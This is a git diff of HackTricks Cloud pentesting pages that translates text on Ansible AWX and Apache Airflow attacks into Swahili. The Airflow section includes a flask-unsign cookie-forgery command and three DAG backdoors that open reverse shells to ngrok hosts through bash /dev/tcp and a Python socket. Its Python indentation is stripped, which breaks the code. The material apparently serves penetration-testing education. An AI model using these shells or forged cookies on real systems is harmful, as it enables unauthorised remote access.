diff --git a/src/README.md b/src/README.md index 01b146fd1..c51d8a491 100644 --- a/src/README.md +++ b/src/README.md @@ -9,23 +9,23 @@ Reading time: {{ #reading_time }} _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> Karibu kwenye ukurasa ambapo utaweza kupata kila **hacking trick/technique/whatever related to CI/CD & Cloud** nilizojifunza katika **CTFs**, **maisha** halisi **mazingira**, **utafiti**, na **kusoma** tafiti na habari. ### **Pentesting CI/CD Methodology** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**Katika HackTricks CI/CD Methodology utaweza kuona jinsi ya pentest miundombinu inayohusiana na shughuli za CI/CD.** Soma ukurasa ufuatao kwa **utangulizi:** [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) ### Pentesting Cloud Methodology -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**Katika HackTricks Cloud Methodology utaweza kuona jinsi ya pentest mazingira ya wingu.** Soma ukurasa ufuatao kwa **utangulizi:** [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) ### License & Disclaimer -**Check them in:** +**Angalia katika:** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) @@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..1d810d657 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> > Support HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** šŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** šŸ¦ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)! +> - **Jiunge na** šŸ’¬ [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** šŸ¦ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..0199a17a0 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,60 +4,59 @@ ## Basic Information -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansibleā€™s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Towerā€™s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** au toleo lake la wazi [**AWX**](https://github.com/ansible/awx) pia inajulikana kama **kiwango cha mtumiaji wa Ansible, dashibodi, na REST API**. Pamoja na **udhibiti wa ufikiaji kulingana na majukumu**, kupanga kazi, na usimamizi wa hesabu wa picha, unaweza kusimamia miundombinu yako ya Ansible kutoka kwa UI ya kisasa. REST API ya Tower na kiolesura cha amri hufanya iwe rahisi kuunganisha na zana na mifumo ya kazi ya sasa. -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**Automation Controller ni toleo jipya** la Ansible Tower lenye uwezo zaidi. ### Differences -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +Kulingana na [**hii**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), tofauti kuu kati ya Ansible Tower na AWX ni msaada uliopokelewa na Ansible Tower ina vipengele vya ziada kama udhibiti wa ufikiaji kulingana na majukumu, msaada wa APIs za kawaida, na mifumo ya kazi iliyofafanuliwa na mtumiaji. ### Tech Stack -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Web Interface**: Hii ni kiolesura cha picha ambapo watumiaji wanaweza kusimamia hesabu, ithibati, templeti, na kazi. Imeundwa kuwa ya kueleweka na inatoa picha kusaidia kuelewa hali na matokeo ya kazi zako za automatisering. +- **REST API**: Kila kitu unachoweza kufanya kwenye kiolesura cha wavuti, unaweza pia kufanya kupitia REST API. Hii inamaanisha unaweza kuunganisha AWX/Tower na mifumo mingine au kuandika hatua ambazo ungeweza kufanya kawaida kwenye kiolesura. +- **Database**: AWX/Tower inatumia hifadhidata (kawaida PostgreSQL) kuhifadhi usanidi wake, matokeo ya kazi, na data nyingine muhimu za uendeshaji. +- **RabbitMQ**: Hii ni mfumo wa ujumbe unaotumiwa na AWX/Tower kuwasiliana kati ya vipengele tofauti, hasa kati ya huduma ya wavuti na waendesha kazi. +- **Redis**: Redis inatumika kama cache na nyuma ya foleni ya kazi. ### Logical Components -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **Inventories**: Hesabu ni **mkusanyiko wa wenyeji (au nodi)** ambao **kazi** (Ansible playbooks) zinaweza **kufanywa**. AWX/Tower inakuwezesha kufafanua na kuunganisha hesabu zako na pia inasaidia hesabu za kidinamik ambazo zinaweza **kupata orodha za wenyeji kutoka mifumo mingine** kama AWS, Azure, nk. +- **Projects**: Mradi kimsingi ni **mkusanyiko wa Ansible playbooks** zinazotolewa kutoka kwa **mfumo wa udhibiti wa toleo** (kama Git) ili kuvuta playbooks za hivi karibuni inapohitajika. +- **Templates**: Templeti za kazi zinafafanua **jinsi playbook fulani itakavyofanywa**, ikitaja **hesabu**, **ithibati**, na **vigezo** vingine vya kazi. +- **Credentials**: AWX/Tower inatoa njia salama ya **kusimamia na kuhifadhi siri, kama funguo za SSH, nywila, na token za API**. Ithibati hizi zinaweza kuunganishwa na templeti za kazi ili playbooks zipate ufikiaji unaohitajika zinapofanya kazi. +- **Task Engine**: Hapa ndipo uchawi unafanyika. Injini ya kazi imejengwa juu ya Ansible na inawajibika kwa **kufanya playbooks**. Kazi zinatumwa kwa injini ya kazi, ambayo kisha inafanya playbooks za Ansible dhidi ya hesabu iliyotengwa kwa kutumia ithibati zilizotolewa. +- **Schedulers and Callbacks**: Hizi ni vipengele vya juu katika AWX/Tower vinavyoruhusu **kazi kuandaliwa** kufanywa kwa nyakati maalum au kuanzishwa na matukio ya nje. +- **Notifications**: AWX/Tower inaweza kutuma arifa kulingana na mafanikio au kushindwa kwa kazi. Inasaidia njia mbalimbali za arifa kama barua pepe, ujumbe wa Slack, webhooks, nk. +- **Ansible Playbooks**: Ansible playbooks ni zana za usanidi, uwekaji, na uratibu. Zinabainisha hali inayotakiwa ya mifumo kwa njia ya automatisering, inayoweza kurudiwa. Imeandikwa kwa YAML, playbooks hutumia lugha ya automatisering ya kutangulia ya Ansible kuelezea usanidi, kazi, na hatua zinazohitajika kutekelezwa. ### Job Execution Flow -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. +1. **User Interaction**: Mtumiaji anaweza kuingiliana na AWX/Tower ama kupitia **Web Interface** au **REST API**. Hizi zinatoa ufikiaji wa mbele kwa kazi zote zinazotolewa na AWX/Tower. 2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. +- Mtumiaji, kupitia Web Interface au API, anaanzisha kazi kulingana na **Job Template**. +- Job Template inajumuisha marejeleo kwa **Hesabu**, **Mradi** (unaoshikilia playbook), na **Ithibati**. +- Mara kazi inapoanzishwa, ombi linawekwa kwa AWX/Tower backend ili kuorodhesha kazi hiyo kwa utekelezaji. 3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. +- **RabbitMQ** inashughulikia ujumbe kati ya kipengele cha wavuti na waendesha kazi. Mara kazi inapoanzishwa, ujumbe unatumwa kwa injini ya kazi kwa kutumia RabbitMQ. +- **Redis** inafanya kazi kama nyuma ya foleni ya kazi, ikisimamia kazi zilizoorodheshwa zinazosubiri utekelezaji. 4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. +- **Task Engine** inachukua kazi iliyoorodheshwa. Inapata taarifa muhimu kutoka kwa **Database** kuhusu playbook inayohusishwa na kazi, hesabu, na ithibati. +- Kwa kutumia playbook ya Ansible iliyopatikana kutoka kwa **Mradi** uliohusishwa, Injini ya Kazi inafanya playbook dhidi ya nodi za **Hesabu** zilizotajwa kwa kutumia **Ithibati** zilizotolewa. +- Wakati playbook inafanya kazi, matokeo yake ya utekelezaji (kumbukumbu, ukweli, nk) yanakusanywa na kuhifadhiwa katika **Database**. 5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. +- Mara playbook inapokamilisha kazi, matokeo (mafanikio, kushindwa, kumbukumbu) yanahifadhiwa kwenye **Database**. +- Watumiaji wanaweza kisha kuona matokeo kupitia Web Interface au kuyatafuta kupitia REST API. +- Kulingana na matokeo ya kazi, **Arifa** zinaweza kutumwa ili kuwajulisha watumiaji au mifumo ya nje kuhusu hali ya kazi. Arifa zinaweza kuwa barua pepe, ujumbe wa Slack, webhooks, nk. 6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +- **Hesabu** zinaweza kupatikana kwa kidinamik kutoka mifumo ya nje, ikiruhusu AWX/Tower kuvuta wenyeji kutoka vyanzo kama AWS, Azure, VMware, na zaidi. +- **Miradi** (playbooks) zinaweza kupatikana kutoka kwa mifumo ya udhibiti wa toleo, kuhakikisha matumizi ya playbooks za kisasa wakati wa utekelezaji wa kazi. +- **Schedulers and Callbacks** zinaweza kutumika kuunganisha na mifumo au zana nyingine, ikifanya AWX/Tower kujibu vichocheo vya nje au kufanya kazi kwa nyakati zilizopangwa. ### AWX lab creation for testing -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: - +[**Kufuata nyaraka**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) inawezekana kutumia docker-compose kuendesha AWX: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,7 +82,6 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC ### Supported roles @@ -97,47 +95,43 @@ From a **white box security** review, you would need the **System Auditor role** Expand this to get detailed description of available roles 1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. +- This is the superuser role with permissions to access and modify any resource in the system. +- They can manage all organizations, teams, projects, inventories, job templates, etc. 2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. +- Users with this role can view all system data but cannot make any changes. +- This role is designed for compliance and oversight. 3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organizationā€™s resources. +- **Admin**: Udhibiti kamili juu ya rasilimali za shirika. +- **Auditor**: Ufikiaji wa kuangalia tu kwa rasilimali za shirika. +- **Member**: Uanachama wa msingi katika shirika bila ruhusa maalum. +- **Execute**: Anaweza kuendesha templeti za kazi ndani ya shirika. +- **Read**: Anaweza kuona rasilimali za shirika. 4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). +- **Admin**: Anaweza kusimamia na kubadilisha mradi. +- **Use**: Anaweza kutumia mradi katika templeti ya kazi. +- **Update**: Anaweza kuboresha mradi kwa kutumia SCM (udhibiti wa chanzo). 5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. +- **Admin**: Anaweza kusimamia na kubadilisha hesabu. +- **Ad Hoc**: Anaweza kuendesha amri za ad hoc kwenye hesabu. +- **Update**: Anaweza kuboresha chanzo cha hesabu. +- **Use**: Anaweza kutumia hesabu katika templeti ya kazi. +- **Read**: Ufikiaji wa kuangalia tu. 6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. +- **Admin**: Anaweza kusimamia na kubadilisha templeti ya kazi. +- **Execute**: Anaweza kuendesha kazi. +- **Read**: Ufikiaji wa kuangalia tu. 7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. +- **Admin**: Anaweza kusimamia na kubadilisha akreditivu. +- **Use**: Anaweza kutumia akreditivu katika templeti za kazi au rasilimali nyingine zinazohusiana. +- **Read**: Ufikiaji wa kuangalia tu. 8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. +- **Member**: Sehemu ya timu lakini bila ruhusa maalum. +- **Admin**: Anaweza kusimamia wanachama wa timu na rasilimali zinazohusiana. 9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +- **Admin**: Anaweza kusimamia na kubadilisha mchakato. +- **Execute**: Anaweza kuendesha mchakato. +- **Read**: Ufikiaji wa kuangalia tu. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..3fdb9cb25 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -4,20 +4,19 @@ ### Basic Information -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org) inatumika kama jukwaa la **kuandaa na kupanga mipango ya data au kazi**. Neno "kuandaa" katika muktadha wa mipango ya data linaashiria mchakato wa kupanga, kuratibu, na kusimamia kazi ngumu za data zinazotokana na vyanzo mbalimbali. Lengo kuu la mipango hii ya data iliyopangwa ni kutoa seti za data zilizoshughulikiwa na zinazoweza kutumika. Seti hizi za data zinatumika sana na maombi mengi, ikiwa ni pamoja na lakini sio tu zana za akili ya biashara, sayansi ya data na mifano ya kujifunza mashine, ambazo zote ni msingi wa utendaji wa maombi makubwa ya data. -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +Kwa msingi, Apache Airflow itakuruhusu **kupanga utekelezaji wa msimbo wakati kitu** (tukio, cron) **kinatokea**. ### Local Lab #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +Unaweza kutumia **faili ya usanidi ya docker-compose kutoka** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) kuanzisha mazingira kamili ya docker ya apache airflow. (Ikiwa uko kwenye MacOS hakikisha unatoa angalau 6GB ya RAM kwa VM ya docker). #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +Njia moja rahisi ya **kufanya kazi apache airflow** ni kuikimbia **na minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` - ### Airflow Configuration -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +Airflow inaweza kuhifadhi **taarifa nyeti** katika usanidi wake au unaweza kupata usanidi dhaifu ulio katika nafasi: {{#ref}} airflow-configuration.md @@ -38,7 +36,7 @@ airflow-configuration.md ### Airflow RBAC -Before start attacking Airflow you should understand **how permissions work**: +Kabla ya kuanza kushambulia Airflow unapaswa kuelewa **jinsi ruhusa zinavyofanya kazi**: {{#ref}} airflow-rbac.md @@ -48,55 +46,52 @@ airflow-rbac.md #### Web Console Enumeration -If you have **access to the web console** you might be able to access some or all of the following information: +Ikiwa una **ufikiaji wa console ya wavuti** unaweza kuwa na uwezo wa kufikia baadhi au yote ya taarifa zifuatazo: -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **Variables** (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa) +- **Connections** (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa) +- Fikia hizo katika `http:///connection/list/` +- [**Configuration**](./#airflow-configuration) (Taarifa nyeti kama **`secret_key`** na nywila zinaweza kuhifadhiwa hapa) +- Orodhesha **watumiaji & majukumu** +- **Code ya kila DAG** (ambayo inaweza kuwa na taarifa za kuvutia) #### Retrieve Variables Values -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +Variables zinaweza kuhifadhiwa katika Airflow ili **DAGs** ziweze **kufikia** thamani zao. Ni sawa na siri za majukwaa mengine. Ikiwa una **ruhusa za kutosha** unaweza kuzifikia katika GUI katika `http:///variable/list/`.\ +Airflow kwa kawaida itaonyesha thamani ya variable katika GUI, hata hivyo, kulingana na [**hii**](https://marclamberti.com/blog/variables-with-apache-airflow/) inawezekana kuweka **orodha ya variables** ambazo **thamani** zitakuwa zinaonekana kama **asterisks** katika **GUI**. ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +Hata hivyo, hizi **thamani** bado zinaweza **kupatikana** kupitia **CLI** (unahitaji kuwa na ufikiaji wa DB), **kutekeleza DAG** isiyo na mipaka, **API** inayofikia mwisho wa variables (API inahitaji kuwezeshwa), na **hata GUI yenyewe!**\ +Ili kufikia hizo thamani kutoka kwa GUI chagua tu **variables** unazotaka kufikia na **bonyeza kwenye Actions -> Export**.\ +Njia nyingine ni kufanya **bruteforce** kwa **thamani iliyofichwa** ukitumia **uchujaji wa utafutaji** hadi upate hiyo: ![](<../../images/image (152).png>) #### Privilege Escalation -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. - +Ikiwa usanidi wa **`expose_config`** umewekwa kuwa **True**, kutoka **kwa jukumu la Mtumiaji** na **juu** wanaweza **kusoma** **usanidi kwenye wavuti**. Katika usanidi huu, **`secret_key`** inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii halali wanaweza **kuunda keki yao iliyosainiwa ili kujifanya kuwa akaunti nyingine yoyote ya mtumiaji**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` +#### DAG Backdoor (RCE katika Airflow worker) -#### DAG Backdoor (RCE in Airflow worker) - -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +Ikiwa una **ufikiaji wa kuandika** mahali ambapo **DAGs zimehifadhiwa**, unaweza tu **kuunda moja** ambayo itakutumia **reverse shell.**\ +Kumbuka kwamba reverse shell hii itatekelezwa ndani ya **airflow worker container**: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` +#### DAG Backdoor (RCE katika Airflow scheduler) -#### DAG Backdoor (RCE in Airflow scheduler) - -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +Ikiwa utaweka kitu kifanyike **katika mzizi wa msimbo**, wakati wa kuandika hii, kita **fanywa na scheduler** baada ya sekunde chache baada ya kukiweka ndani ya folda ya DAG. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` +#### Uundaji wa DAG -#### DAG Creation +Ikiwa utafanikiwa **kushambulia mashine ndani ya klasta ya DAG**, unaweza kuunda **scripts za DAG** mpya katika folda ya `dags/` na zitakuwa **zinakopiwa katika mashine zingine** ndani ya klasta ya DAG. -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +#### Uingiliaji wa Kode ya DAG -#### DAG Code Injection +Unapotekeleza DAG kutoka kwa GUI unaweza **kupitisha hoja** kwake.\ +Hivyo, ikiwa DAG haijakodishwa vizuri inaweza kuwa **na udhaifu wa Uingiliaji wa Amri.**\ +Hivyo ndivyo ilivyotokea katika CVE hii: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) - -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +Kila unachohitaji kujua ili **kuanza kutafuta uingiliaji wa amri katika DAGs** ni kwamba **parameta** zinapatikana kwa kode **`dag_run.conf.get("param_name")`**. +Zaidi ya hayo, udhaifu sawa unaweza kutokea na **mabadiliko** (zingatia kwamba kwa ruhusa ya kutosha unaweza **kudhibiti thamani ya mabadiliko** katika GUI). Mabadiliko yanapatikana kwa: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +Ikiwa zinatumika kwa mfano ndani ya amri ya bash, unaweza kufanya uhamasishaji wa amri. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..758433425 100644 --- 